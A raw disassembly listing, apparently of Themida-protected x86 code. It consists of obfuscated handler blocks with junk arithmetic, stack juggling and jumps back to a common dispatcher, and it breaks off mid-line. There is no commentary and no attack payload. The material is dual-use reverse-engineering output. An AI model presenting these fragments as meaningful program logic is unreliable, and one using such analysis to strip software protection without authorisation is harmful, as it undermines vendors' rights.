--------------------------------------------------------------------------- loc_554B15: ; CODE XREF: Themida_:00554DB5j push esi mov esi, 4AC8057Fh push ebp mov ebp, 77D8765Bh or esi, ebp pop ebp xor esi, 7FD8777Bh add ecx, esi jmp loc_559646 ; --------------------------------------------------------------------------- loc_554B31: ; CODE XREF: Themida_:00554D6Dj push edi mov edi, esp push 2484h mov [esp], edx mov edx, 3FEA39A4h jmp loc_5558E1 ; --------------------------------------------------------------------------- loc_554B46: ; CODE XREF: Themida_:0055D4D2j add edx, 4 sub esp, 4 mov [esp], edi push esi mov esi, 4 mov edi, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_557F5E ; --------------------------------------------------------------------------- loc_554B66: ; CODE XREF: Themida_:005523C8j mov [esp], edi push esi mov esi, 2677AB70h push esi pop edi jmp loc_55CA87 ; --------------------------------------------------------------------------- loc_554B76: ; CODE XREF: Themida_:0055D532j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push eax push 42C660C8h pop eax jmp loc_55CE8E ; --------------------------------------------------------------------------- loc_554B8C: ; CODE XREF: Themida_:0055A50Fj add esi, 6178580Ah jmp loc_55833F ; --------------------------------------------------------------------------- loc_554B97: ; CODE XREF: Themida_:005594DFj sub ecx, 2AB32C79h jmp loc_55C8DA ; --------------------------------------------------------------------------- loc_554BA2: ; CODE XREF: Themida_:005582BAj add edi, 4 add edi, 4 xchg edi, [esp] pop esp add [esp], eax push 56E0h jmp loc_558E0B ; --------------------------------------------------------------------------- loc_554BBC: ; CODE XREF: Themida_:0055945Ej ; Themida_:0055C705j push ebx sub esp, 4 mov [esp], ebp push edx mov edx, 578348BBh xor edx, 496942D1h inc edx push ebx mov ebx, 6BBA60A9h or ebx, 614B2507h add ebx, 0EAE2E29Fh and edx, ebx pop ebx inc edx dec edx jmp loc_557317 ; --------------------------------------------------------------------------- loc_554BEC: ; CODE XREF: Themida_:0055A037j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax push ebx push 2E5011A7h jmp loc_557D23 ; --------------------------------------------------------------------------- loc_554C07: ; CODE XREF: Themida_:00551A5Bj not eax jmp loc_55DAAA ; --------------------------------------------------------------------------- loc_554C0E: ; CODE XREF: Themida_:0055B8E8j add [esp+4], ebp add dword ptr [esp+4], 492939h pop ebp pop esi push 450Ch mov [esp], ecx mov ecx, 64E2494Dh and ecx, 7D3865BCh or ecx, 7CF119EBh jmp loc_553172 ; --------------------------------------------------------------------------- loc_554C3A: ; CODE XREF: Themida_:0055BE3Aj push dword ptr [esp] jmp loc_5551E0 ; --------------------------------------------------------------------------- loc_554C42: ; CODE XREF: Themida_:0055BAC7j push ebp push esp pop ebp add ebp, 4 push edx mov edx, 2 sub ebp, 37C921B2h add ebp, 2BB865F6h jmp loc_559E1E ; --------------------------------------------------------------------------- loc_554C62: ; CODE XREF: Themida_:00558923j bt [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_554C6D: ; CODE XREF: Themida_:00558D82j mov ecx, [esp] jmp loc_553A0B ; --------------------------------------------------------------------------- loc_554C75: ; CODE XREF: Themida_:0055D4F5j sub edi, 0B623CF1Dh add eax, edi pop edi push edx push 7F92h mov [esp], eax mov eax, 0AD601A1h not eax jmp loc_5520DA ; --------------------------------------------------------------------------- loc_554C93: ; CODE XREF: Themida_:00555230j push ebx mov ebx, 0B740A31h add ebx, 0ED1DEB16h sub edi, ebx pop ebx mov ecx, edi jmp loc_55446A ; --------------------------------------------------------------------------- loc_554CA9: ; CODE XREF: Themida_:00555CACj push ecx mov ecx, 30A40DFBh shl ecx, 2 jmp loc_55D6FC ; --------------------------------------------------------------------------- loc_554CB7: ; CODE XREF: Themida_:00557F67j xor edx, [esp] mov esp, [esp] push 5DA3h mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_55CE42 ; --------------------------------------------------------------------------- loc_554CD8: ; CODE XREF: Themida_:00556076j sub ecx, 13440421h jmp loc_55C54F ; --------------------------------------------------------------------------- loc_554CE3: ; CODE XREF: Themida_:0055C7D7j mov ebp, 604C44DCh shl ebp, 5 neg ebp jmp loc_553D26 ; --------------------------------------------------------------------------- loc_554CF2: ; CODE XREF: Themida_:0055DD51j pop ecx jmp loc_551815 ; --------------------------------------------------------------------------- loc_554CF8: ; CODE XREF: Themida_:00559735j pop eax add esi, 4 xchg esi, [esp] pop esp push 685Dh mov [esp], ebx push ecx mov ecx, esp push edi mov edi, 449179D7h jmp loc_5523B8 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp pop ebx sub esp, 4 mov [esp], edi mov edi, 15883D18h add edi, 71917D32h jmp loc_5524DC ; --------------------------------------------------------------------------- loc_554D36: ; CODE XREF: Themida_:00553BF7j sub di, 0E9B5h sub ax, di pop edi shl ax, 4 shr ax, 5 and ax, 6193h xor ax, 0AF7h xor si, ax pop ax mov di, si mov esi, [esp] add esp, 4 add bx, di mov di, [esp] add esp, 2 movzx eax, ax jmp loc_554B31 ; --------------------------------------------------------------------------- loc_554D72: ; CODE XREF: Themida_:0055D7A6j add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_55CCCD ; --------------------------------------------------------------------------- loc_554D7F: ; CODE XREF: Themida_:005569B3j push 36C9h jmp loc_552672 ; --------------------------------------------------------------------------- loc_554D89: ; CODE XREF: Themida_:0055289Bj dec esi xor esi, 0E443B983h jmp loc_552B4F ; --------------------------------------------------------------------------- loc_554D95: ; CODE XREF: Themida_:00552E46j xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_55225C ; --------------------------------------------------------------------------- loc_554DA3: ; CODE XREF: Themida_:00557DA5j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov eax, [esp] push ecx push esp pop ecx jmp loc_554B15 ; --------------------------------------------------------------------------- loc_554DBA: ; CODE XREF: Themida_:0055CA21j neg esi jmp loc_55220E ; --------------------------------------------------------------------------- loc_554DC1: ; CODE XREF: Themida_:00555778j mov edx, esp add edx, 4 jmp loc_5579BF ; --------------------------------------------------------------------------- loc_554DCE: ; CODE XREF: Themida_:0055D683j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp xor ebx, [esp] xor [esp], ebx jmp loc_5523D8 ; --------------------------------------------------------------------------- loc_554DE3: ; CODE XREF: Themida_:0055C9AFj add esp, 4 sub edx, 2 push edx push dword ptr [esp+4] mov edx, [esp] push eax push esp pop eax jmp loc_55CC60 ; --------------------------------------------------------------------------- loc_554DF9: ; CODE XREF: Themida_:005550EFj shr edx, 8 jmp loc_55331F ; --------------------------------------------------------------------------- loc_554E01: ; CODE XREF: Themida_:0055B007j add ecx, 3098716Bh pop edx sub ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55D007 ; --------------------------------------------------------------------------- loc_554E19: ; CODE XREF: Themida_:00553E57j add eax, 4 xchg eax, [esp] pop esp pop eax push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55D688 ; --------------------------------------------------------------------------- loc_554E37: ; CODE XREF: Themida_:00553EAFj push 57D4h jmp loc_55CDCB ; --------------------------------------------------------------------------- loc_554E41: ; CODE XREF: Themida_:0055C6AEj mov edi, 871D11h mov edx, 0FF78E30Bh add edx, edi pop edi add edx, edi push ebx mov ebx, 0 jmp loc_55BB2B ; --------------------------------------------------------------------------- loc_554E5B: ; CODE XREF: Themida_:00553138j add eax, ebx push dword ptr [esp] pop ebx jmp loc_557719 ; --------------------------------------------------------------------------- loc_554E66: ; CODE XREF: Themida_:005555C1j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] jmp loc_55CFF7 ; --------------------------------------------------------------------------- loc_554E79: ; CODE XREF: Themida_:00553960j xor ebx, 729C59DAh jmp loc_5526AE ; --------------------------------------------------------------------------- loc_554E84: ; CODE XREF: Themida_:0055D42Fj mov [esp], eax mov eax, 64CC2532h shl eax, 1 jmp loc_55911F ; --------------------------------------------------------------------------- loc_554E93: ; CODE XREF: Themida_:00555B62j xchg ebx, [esp] mov esp, [esp] push ecx push edx push 10DC71E2h pop edx add edx, 1 jmp loc_55B344 ; --------------------------------------------------------------------------- loc_554EAC: ; CODE XREF: Themida_:00558246j shr dh, 2 sub dh, 0BCh sub dh, 0A0h inc dh jmp loc_55826C ; --------------------------------------------------------------------------- loc_554EBC: ; CODE XREF: Themida_:0055723Aj neg edx or edx, 43CE103Ch push 53A2h mov [esp], edi mov edi, 5926485Eh neg edi sub edi, 0F6A96D1Fh add edx, edi pop edi add eax, 1DB41175h jmp loc_555F10 ; --------------------------------------------------------------------------- loc_554EE6: ; CODE XREF: Themida_:0055BC4Dj add edx, eax push 5087h jmp loc_55CE61 ; --------------------------------------------------------------------------- loc_554EF2: ; CODE XREF: Themida_:0055D2A0j shl dword ptr [esp], cl jmp loc_5528A0 ; --------------------------------------------------------------------------- loc_554EFA: ; CODE XREF: Themida_:00559744j and edx, ebp pop ebp sub edx, 6B087ED2h jmp loc_5586B4 ; --------------------------------------------------------------------------- loc_554F08: ; CODE XREF: Themida_:00558CC4j mov ebx, 4 jmp loc_55BE8E ; --------------------------------------------------------------------------- loc_554F12: ; CODE XREF: Themida_:00551AE4j pop ebp jmp loc_5583A2 ; --------------------------------------------------------------------------- loc_554F18: ; CODE XREF: Themida_:00556B9Dj add edi, 0F3BBD9ACh jmp loc_55AAD0 ; --------------------------------------------------------------------------- loc_554F23: ; CODE XREF: Themida_:0055310Fj mov bh, ah pop eax add bh, 7Ah add bh, 8 sub esp, 2 mov [esp], dx mov dl, 0Bh xor bh, dl pop dx shl bh, 3 jmp loc_5529F1 ; --------------------------------------------------------------------------- loc_554F41: ; CODE XREF: Themida_:005592ACj add eax, 6ECC3E38h add eax, esi push ecx mov ecx, 6ECC3E38h jmp loc_559D6F ; --------------------------------------------------------------------------- loc_554F53: ; CODE XREF: Themida_:00552F24j sub ebx, 5654ADBh jmp loc_5536DC ; --------------------------------------------------------------------------- lodsd push edi jmp loc_55C722 ; --------------------------------------------------------------------------- loc_554F65: ; CODE XREF: Themida_:0055CFF2j push ecx jmp loc_5531EC ; --------------------------------------------------------------------------- loc_554F6B: ; CODE XREF: Themida_:0055D362j sub esp, 4 mov [esp], eax push ecx mov ecx, 73EE4778h mov eax, 20C1066h add eax, ecx pop ecx sub ecx, eax pop eax jmp loc_556176 ; --------------------------------------------------------------------------- loc_554F87: ; CODE XREF: Themida_:0055285Bj xchg eax, [esp] pop esp jmp loc_555490 ; --------------------------------------------------------------------------- loc_554F90: ; CODE XREF: Themida_:0055BD54j shr esi, 3 xor esi, 1002906h add edx, esi pop esi add edx, 2 jmp loc_5533B1 ; --------------------------------------------------------------------------- loc_554FA4: ; CODE XREF: Themida_:0055CE5Cj pop ebx and dh, 32h sub dh, 0ECh xor dh, 2Ch jmp loc_55C40D ; --------------------------------------------------------------------------- loc_554FB3: ; CODE XREF: Themida_:0055607Dj mov cl, ah mov bh, cl pop ecx pop ax not bh push dx mov dl, 83h sub bh, dl pop dx xor al, bh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55D7F9 ; --------------------------------------------------------------------------- loc_554FD7: ; CODE XREF: Themida_:00551C6Dj mov esi, 20310EA4h dec esi not esi or esi, 546F1DC5h inc esi jmp loc_55A020 ; --------------------------------------------------------------------------- loc_554FEB: ; CODE XREF: Themida_:00552B8Ej add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp xchg ecx, [esp] jmp loc_5554E9 ; --------------------------------------------------------------------------- loc_554FFD: ; CODE XREF: Themida_:00551F43j add esp, 4 loc_555000: ; CODE XREF: Themida_:00558D76j push edi push esp jmp loc_558AE6 ; --------------------------------------------------------------------------- loc_555007: ; CODE XREF: Themida_:00558121j sub ebx, edx pop edx add ebx, 68CB5DCDh sub ebx, edx sub ebx, 68CB5DCDh push ebp mov ebp, 4B053FC1h jmp loc_55C051 ; --------------------------------------------------------------------------- loc_555023: ; CODE XREF: Themida_:00559551j dec ecx add ecx, 0A27795F2h sub edx, ecx pop ecx mov ecx, edx push dword ptr [esp] jmp loc_552B93 ; --------------------------------------------------------------------------- loc_555037: ; CODE XREF: Themida_:0055D352j mov edx, [esp] jmp loc_551BD5 ; --------------------------------------------------------------------------- push 7930h push 1AE4h push esp pop dword ptr [esp] jmp loc_55C120 ; --------------------------------------------------------------------------- loc_555052: ; CODE XREF: Themida_:005522D4j mov edx, edi jmp loc_558F9D ; --------------------------------------------------------------------------- loc_555059: ; CODE XREF: Themida_:0055A57Aj xor ebx, 6ED32EA9h xor ebx, 244D69C4h mov edx, ebx pop ebx push ecx jmp loc_557CC1 ; --------------------------------------------------------------------------- loc_55506E: ; CODE XREF: Themida_:00556FBEj pop ebp mov edx, [esp] add esp, 4 pop ebp push 6569h mov [esp], ecx mov ecx, 434B1AB4h push edx push esi mov esi, 0BDB4E54Ch mov edx, esi mov esi, [esp] add esp, 4 jmp loc_558311 ; --------------------------------------------------------------------------- loc_555097: ; CODE XREF: Themida_:00556B93j pop dx add dl, ch pop ecx add al, dl pop edx push 76EEh jmp loc_556E01 ; --------------------------------------------------------------------------- loc_5550A9: ; CODE XREF: Themida_:0055AF2Fj xchg edi, [esp] mov esp, [esp] mov [esp], ebp jmp loc_551ADD ; --------------------------------------------------------------------------- loc_5550B7: ; CODE XREF: Themida_:00552DC1j push dword ptr [esp] jmp loc_55CEA9 ; --------------------------------------------------------------------------- loc_5550BF: ; CODE XREF: Themida_:00556B52j sub esp, 4 mov [esp], ebx mov ebx, esp push 43A5h mov [esp], edx mov edx, 7F503C5Ah shl edx, 1 xor edx, 6E96DCBh push ebp mov ebp, 307C290Fh and edx, ebp mov ebp, [esp] add esp, 4 neg edx jmp loc_554DF9 ; --------------------------------------------------------------------------- loc_5550F4: ; CODE XREF: Themida_:0055B58Cj pop ebx add eax, 204371C7h sub eax, 37642D08h sub eax, ebx add eax, 37642D08h push ecx mov ecx, 5A00950h xor ecx, 3E763B2Dh xor ecx, 1B9543BAh sub eax, ecx jmp loc_55C4EC ; --------------------------------------------------------------------------- loc_55511F: ; CODE XREF: Themida_:0055B388j add esp, 4 add esi, 4 jmp loc_55A17E ; --------------------------------------------------------------------------- loc_55512D: ; CODE XREF: Themida_:00557208j pop esi xchg edx, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55513D: ; CODE XREF: Themida_:00556982j push eax mov eax, 189F07DFh add eax, 676042EAh xor ebp, eax pop eax push edx mov edx, ebp jmp loc_55A1BA ; --------------------------------------------------------------------------- loc_555153: ; CODE XREF: Themida_:0055B271j mov esi, esp add esi, 4 sub esp, 4 mov [esp], ebx push edi mov edi, 4 mov ebx, edi jmp $+5 mov edi, [esp] add esp, 4 add esi, 1D0C5DF4h add esi, 70DC6B90h add esi, 5EB674Fh add esi, ebx sub esi, 5EB674Fh sub esi, 70DC6B90h sub esi, 1D0C5DF4h mov ebx, [esp] add esp, 4 jmp loc_556E32 ; --------------------------------------------------------------------------- loc_5551A8: ; CODE XREF: Themida_:00557C4Bj push edi push edx mov edx, 69F52DB4h xor edx, 2F2F02C4h and edx, 62382927h add edx, 14C6E48Ah mov edi, edx pop edx push esi mov esi, 70B269C2h jmp loc_55543C ; --------------------------------------------------------------------------- loc_5551CF: ; CODE XREF: Themida_:0055A46Bj push dx mov dh, 17h jmp loc_552C62 ; --------------------------------------------------------------------------- loc_5551D8: ; CODE XREF: Themida_:00559DB5j mov edx, [esp] jmp loc_55439B ; --------------------------------------------------------------------------- loc_5551E0: ; CODE XREF: Themida_:00554C3Dj pop ecx sub esp, 4 jmp loc_55D8D3 ; --------------------------------------------------------------------------- loc_5551EC: ; CODE XREF: Themida_:0055BCC5j pop ebx add ecx, 2EF6566h sub edx, 76193E24h add edx, ecx add edx, 76193E24h pop ecx jmp loc_5572C8 ; --------------------------------------------------------------------------- loc_555207: ; CODE XREF: Themida_:0055CB1Dj mov bh, dl mov ah, bh jmp loc_551C2E ; --------------------------------------------------------------------------- lodsd sub eax, 3B664393h sub eax, 590F4314h add eax, 3D724A9Fh add eax, ebx push ecx push 5DDh mov [esp], edi mov edi, 1C8C0C21h jmp loc_554C93 ; --------------------------------------------------------------------------- loc_555235: ; CODE XREF: Themida_:0055877Fj mov edx, 5B2B5951h push edx mov edx, 2A410609h not edx shr edx, 6 sub edx, 0A6D6A5EFh add eax, edx pop edx jmp loc_55787F ; --------------------------------------------------------------------------- loc_555253: ; CODE XREF: Themida_:0055787Aj push edx mov edx, 1C947F2Eh xor edx, 51926872h sub edx, 0DA578E7h add edx, 7C89B1Dh sub eax, edx pop edx push 2886h mov [esp], ecx mov ecx, 17950EADh xor eax, ecx pop ecx jmp loc_554A34 ; --------------------------------------------------------------------------- loc_555283: ; CODE XREF: Themida_:00559028j add dword ptr [esp], 4 pop esi add esi, 4 push ecx mov ecx, esp jmp loc_5564C6 ; --------------------------------------------------------------------------- loc_555299: ; CODE XREF: Themida_:00551992j add ecx, 4 jmp loc_55494E ; --------------------------------------------------------------------------- loc_5552A4: ; CODE XREF: Themida_:00555A3Aj xor ebp, [esp] pop esp jmp loc_5583CC ; --------------------------------------------------------------------------- loc_5552AD: ; CODE XREF: Themida_:005545A6j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov dl, 44h sub dl, 51h jmp loc_554742 ; --------------------------------------------------------------------------- loc_5552C4: ; CODE XREF: Themida_:00558C8Aj pop edx add esi, ecx pop ecx xchg esi, [esp] pop esp mov ax, [esp] push ecx push esp pop ecx jmp loc_55BFBB ; --------------------------------------------------------------------------- loc_5552D8: ; CODE XREF: Themida_:0055AE35j xchg ah, cl not cl add cl, 43h and al, cl push dword ptr [esp] pop ecx push edi jmp loc_55A157 ; --------------------------------------------------------------------------- loc_5552EB: ; CODE XREF: Themida_:00551D42j mov [esp], esi push esp pop esi push 763Dh mov [esp], edi jmp loc_55CB22 ; --------------------------------------------------------------------------- loc_5552FD: ; CODE XREF: Themida_:00558796j push 78CEh jmp loc_559B36 ; --------------------------------------------------------------------------- loc_555307: ; CODE XREF: Themida_:005558D3j mov [esp], ebp push esp pop ebp jmp loc_5582E8 ; --------------------------------------------------------------------------- mov ax, [esp] push 30F6h mov [esp], esi mov esi, esp push edi mov edi, 7ADD5CDCh shr edi, 5 sub edi, 3D6EAE2h add esi, edi pop edi push eax mov eax, esp push esi mov esi, 596C1698h xor esi, 596C169Ch add eax, esi pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 50945CE7h neg ecx or ecx, 571137E4h shr ecx, 3 add ecx, 3F0A7D65h shr ecx, 8 xor ecx, 5EF9F6h sub esi, 4E274DD2h add esi, ecx add esi, 4E274DD2h jmp loc_55D795 ; --------------------------------------------------------------------------- loc_555381: ; CODE XREF: Themida_:00556886j mov ebx, 4 jmp loc_55D0B9 ; --------------------------------------------------------------------------- loc_55538B: ; CODE XREF: Themida_:0055ADE2j pop eax pop ebx jmp loc_55C129 ; --------------------------------------------------------------------------- loc_555392: ; CODE XREF: Themida_:0055C66Aj mov ebp, 13B4D51h xor ebp, edx jmp loc_552840 ; --------------------------------------------------------------------------- loc_55539E: ; CODE XREF: Themida_:005546D3j sub esp, 4 jmp loc_5592D4 ; --------------------------------------------------------------------------- loc_5553A6: ; CODE XREF: Themida_:00559440j pop esi pop ecx sub ecx, 44C93194h jmp loc_558C10 ; --------------------------------------------------------------------------- loc_5553B3: ; CODE XREF: Themida_:00558177j add edi, 4 add edi, 4 push edi jmp loc_555F34 ; --------------------------------------------------------------------------- mov ebx, 3B7A7E43h neg ebx xchg ebp, ebx not ebp xchg ebp, ebx neg ebx neg ebx push ecx jmp loc_55591F ; --------------------------------------------------------------------------- loc_5553D9: ; CODE XREF: Themida_:00556935j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp and eax, edx push dword ptr [esp] pop edx add esp, 4 or eax, eax jz loc_55CD46 push dword ptr [edi+28h] push eax mov eax, 55D55E7Ch xor [esp+4], eax pop eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 0D7D45BCh neg edx dec edx shl edx, 5 jmp loc_55C187 ; --------------------------------------------------------------------------- loc_555429: ; CODE XREF: Themida_:0055DB3Ej xor [esp], eax xor eax, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55543C: ; CODE XREF: Themida_:005551CAj dec esi dec esi xor esi, 792B58EFh sub ebx, esi pop esi sub ebx, 3F2786Ah add ebx, edi add ebx, 3F2786Ah jmp loc_55D999 ; --------------------------------------------------------------------------- loc_55545A: ; CODE XREF: Themida_:0055778Ej pop esp sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_5556B7 ; --------------------------------------------------------------------------- loc_555485: ; CODE XREF: Themida_:0055BFDFj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55548A: ; CODE XREF: Themida_:005529F5j push eax jmp loc_55304A ; --------------------------------------------------------------------------- loc_555490: ; CODE XREF: Themida_:00554F8Bj and eax, edi jmp loc_557765 ; --------------------------------------------------------------------------- loc_555497: ; CODE XREF: Themida_:005567A8j shr eax, 6 xor eax, 4B102894h dec eax add eax, 459D62F3h add eax, 0E0B0433Fh jmp loc_555F00 ; --------------------------------------------------------------------------- loc_5554AF: ; CODE XREF: Themida_:0055B317j push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] jmp loc_555D23 ; --------------------------------------------------------------------------- loc_5554C0: ; CODE XREF: Themida_:00553141j pop edi add esp, 4 push edi jmp loc_55332D ; --------------------------------------------------------------------------- loc_5554CD: ; CODE XREF: Themida_:00553CC0j mov edi, esi pop esi jmp loc_55C090 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5554E4 ; --------------------------------------------------------------------------- loc_5554DD: ; CODE XREF: Themida_:005576FCj add ecx, ebx jmp loc_555938 ; --------------------------------------------------------------------------- loc_5554E4: ; CODE XREF: Themida_:005554D8j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5554E9: ; CODE XREF: Themida_:00554FF8j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5554EE: ; CODE XREF: Themida_:0055BA77j add ecx, 4 push ebx mov ebx, 4 jmp loc_558B5F ; --------------------------------------------------------------------------- loc_5554FF: ; CODE XREF: Themida_:00556F48j mov [esp], ebx mov ebx, 2 add esi, 0A076CFFh sub esi, 140724C8h add esi, ebx add esi, 140724C8h sub esi, 0A076CFFh push dword ptr [esp] pop ebx push 245Bh jmp loc_55AA98 ; --------------------------------------------------------------------------- loc_55552F: ; CODE XREF: Themida_:005532A7j mov esi, 0CD7DFBFCh jmp loc_558F27 ; --------------------------------------------------------------------------- loc_555539: ; CODE XREF: Themida_:0055689Cj shl edx, 5 sub edx, 0A146F8A4h xor esi, edx pop edx xor esi, 40E26985h jmp loc_556A6C ; --------------------------------------------------------------------------- loc_555550: ; CODE XREF: Themida_:0055BE72j mov [esp], ebx push esi mov esi, 36AB4881h dec esi inc esi jmp loc_55D2D3 ; --------------------------------------------------------------------------- loc_555560: ; CODE XREF: Themida_:00558CB9j mov ebp, ebx jmp loc_55D9D4 ; --------------------------------------------------------------------------- loc_555567: ; CODE XREF: Themida_:00556131j sub esp, 4 mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], edi jmp loc_5543AD ; --------------------------------------------------------------------------- loc_55557D: ; CODE XREF: Themida_:00559F75j pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55559B: ; CODE XREF: Themida_:00557EBDj push dword ptr [esp] mov ebx, [esp] jmp loc_557E9E ; --------------------------------------------------------------------------- loc_5555A6: ; CODE XREF: Themida_:0055CFE4j add ebx, eax push eax mov eax, 78135DD7h shr eax, 3 sub eax, 0CFCD35F3h jmp loc_557931 ; --------------------------------------------------------------------------- loc_5555BB: ; CODE XREF: Themida_:0055CBF4j sub esp, 4 jmp loc_554E66 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_557D43 ; --------------------------------------------------------------------------- loc_5555D0: ; CODE XREF: Themida_:005520B1j add edx, edi add edx, 48A75FE9h add edx, 58F64BBDh push ecx mov ecx, 0 push eax jmp loc_553CEF ; --------------------------------------------------------------------------- loc_5555EA: ; CODE XREF: Themida_:005568F6j pop esi add esp, 4 jmp loc_5523E3 ; --------------------------------------------------------------------------- loc_5555F6: ; CODE XREF: Themida_:00556038j pop ebx push ecx mov ecx, 2 sub edi, ecx pop ecx jmp loc_558F0F ; --------------------------------------------------------------------------- loc_555605: ; CODE XREF: Themida_:005527FBj mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_557E2D ; --------------------------------------------------------------------------- loc_555616: ; CODE XREF: Themida_:0055D8F5j push 4EEh mov [esp], esi mov esi, 76523018h push ebp mov ebp, 1DC80FF3h neg ebp xor ebp, 5A6E7419h neg ebp xor ebp, 48195255h sub esi, 207B5B64h sub esi, ebp jmp loc_55B0BC ; --------------------------------------------------------------------------- loc_555646: ; CODE XREF: Themida_:0055992Dj mov edx, edi pop edi pop esi and eax, edx pop edx shr eax, 0Ch jmp loc_55AA18 ; --------------------------------------------------------------------------- loc_555655: ; CODE XREF: Themida_:00558A30j dec ah not ah shr ah, 2 xor ah, 91h xor ah, 42h xor bh, ah pop eax add al, bh pop ebx pop ebx xor bl, al movzx eax, al push dword ptr [edi+eax*4] push esi mov esi, 6B593A36h sub dword ptr [esp+4], 4C621062h sub dword ptr [esp+4], 6B444E6Ah jmp loc_556347 ; --------------------------------------------------------------------------- loc_55568C: ; CODE XREF: Themida_:00555DCCj pop edi jmp loc_55973A ; --------------------------------------------------------------------------- loc_555692: ; CODE XREF: Themida_:00558ADAj mov ebx, 0 add ebx, ecx jmp loc_559E29 ; --------------------------------------------------------------------------- loc_55569E: ; CODE XREF: Themida_:00559120j push esi mov esi, 79922F3Ah add esi, 0FFFFFFFFh add esi, 0C8C7DD18h add eax, esi jmp loc_5598A2 ; --------------------------------------------------------------------------- loc_5556B7: ; CODE XREF: Themida_:00555480j pop edi pop dword ptr [esp] mov esp, [esp] add [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- mov ax, [esp] push 5FD5h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5565C5 ; --------------------------------------------------------------------------- loc_5556E0: ; CODE XREF: Themida_:0055ABFCj and eax, ebp push dword ptr [esp] jmp loc_55BCFA ; --------------------------------------------------------------------------- loc_5556EA: ; CODE XREF: Themida_:005519E2j push edi mov edi, esp push eax mov eax, 3AC82527h jmp loc_5588CA ; --------------------------------------------------------------------------- loc_5556F8: ; CODE XREF: Themida_:0055CCC8j and dl, 47h push bx mov bh, 0C1h sub dl, bh pop bx push eax mov ah, 0C8h jmp loc_554577 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55571A: ; CODE XREF: Themida_:00556E59j mov bh, 0D0h push ecx jmp loc_5566EE ; --------------------------------------------------------------------------- loc_555722: ; CODE XREF: Themida_:0055BC42j dec edx inc edx xor edx, 9D91245h mov eax, edx jmp loc_55DA03 ; --------------------------------------------------------------------------- loc_555731: ; CODE XREF: Themida_:005560C6j push edx mov dl, 86h dec dl shl dl, 8 shl dl, 6 not dl jmp loc_552D45 ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h jmp loc_5566A4 ; --------------------------------------------------------------------------- loc_55574B: ; CODE XREF: Themida_:0055807Ej push ecx push 783362A1h mov ecx, [esp] add esp, 4 add eax, 3B209FEh sub eax, ecx push esi mov esi, 3B209FEh sub eax, 601C7003h jmp loc_558126 ; --------------------------------------------------------------------------- loc_555771: ; CODE XREF: Themida_:00552CF3j add ebx, edi push dword ptr [esp] pop edi push edx jmp loc_554DC1 ; --------------------------------------------------------------------------- loc_55577D: ; CODE XREF: Themida_:0055C5C8j push edi mov edi, 43FC0217h push 6DD1h mov [esp], ebx mov ebx, 0BD4C18F2h jmp loc_555BDD ; --------------------------------------------------------------------------- loc_555795: ; CODE XREF: Themida_:0055B8ADj add esi, 4 push edx mov edx, 4 sub esi, edx pop edx xchg esi, [esp] jmp loc_558295 ; --------------------------------------------------------------------------- loc_5557AC: ; CODE XREF: Themida_:0055BC67j mov [esp], ebx jmp loc_55D5EE ; --------------------------------------------------------------------------- loc_5557B4: ; CODE XREF: Themida_:0055B9FEj xchg edx, [esp] pop esp add esp, 4 and eax, esi pop esi or edx, eax shl edx, 1 push 66A2h mov [esp], eax push 24h mov eax, [esp] add esp, 4 sub eax, 374D4369h add eax, edi add eax, 374D4369h push edx mov edx, 0 add edx, eax push eax jmp loc_5559D6 ; --------------------------------------------------------------------------- loc_5557F2: ; CODE XREF: Themida_:0055D585j and [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx jmp loc_55D485 ; --------------------------------------------------------------------------- loc_555816: ; CODE XREF: Themida_:00558873j pop ebp jmp loc_551815 ; --------------------------------------------------------------------------- loc_55581C: ; CODE XREF: Themida_:00552D9Ej push ebp mov ebp, 34737C0h sub ebp, 1 neg ebp dec ebp push ecx push ebp jmp loc_552622 ; --------------------------------------------------------------------------- loc_555832: ; CODE XREF: Themida_:00556D78j pop esi jmp loc_556AE5 ; --------------------------------------------------------------------------- loc_555838: ; CODE 